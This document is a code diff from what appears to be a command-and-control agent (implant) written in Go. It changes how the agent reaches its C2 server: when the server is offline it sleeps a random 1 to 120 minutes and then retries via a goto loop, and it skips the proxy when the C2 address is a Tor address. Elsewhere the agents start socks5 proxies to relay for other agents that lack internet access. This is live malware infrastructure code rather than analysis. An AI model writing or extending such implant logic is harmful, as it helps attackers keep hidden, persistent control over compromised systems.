cc indicator: tor / http2 now works fine

core/cmd/agent/main.go

@@ -79,7 +79,7 @@ func main() {
 		ctx, cancel := context.WithCancel(context.Background())
 		log.Println("[+] It seems that we have internet access, let's start a socks5 proxy to help others")
 		go agent.StartBroadcast(true, ctx, cancel)
-	} else {
+	} else if !tun.IsTor(agent.CCAddress) {
 		// we don't, just wait for some other agents to help us
 		log.Println("[-] We don't have internet access, waiting for other agents to give us a proxy...")
 		ctx, cancel := context.WithCancel(context.Background())
@@ -150,6 +150,7 @@ connect:
 	if !agent.IsCCOnline(agent.AgentProxy) {
 		log.Println("CC not online")
 		time.Sleep(time.Duration(agent.RandInt(1, 120)) * time.Minute)
+		goto connect
 	}
 
 	// check in with system info

core/internal/agent/poll.go

@@ -46,12 +46,13 @@ func IsCCOnline(proxy string) bool {
 		// We use ABSURDLY large keys, and should probably not.
 		TLSHandshakeTimeout: 60 * time.Second,
 	}
-	if proxy != "" {
+	if proxy != "" && !tun.IsTor(CCAddress) {
 		proxyUrl, err := url.Parse(proxy)
 		if err != nil {
 			log.Fatalf("Invalid proxy: %v", err)
 		}
 		t.Proxy = http.ProxyURL(proxyUrl)
+		log.Printf("IsCCOnline: using proxy %s", proxy)
 	}
 	client := http.Client{
 		Transport: t,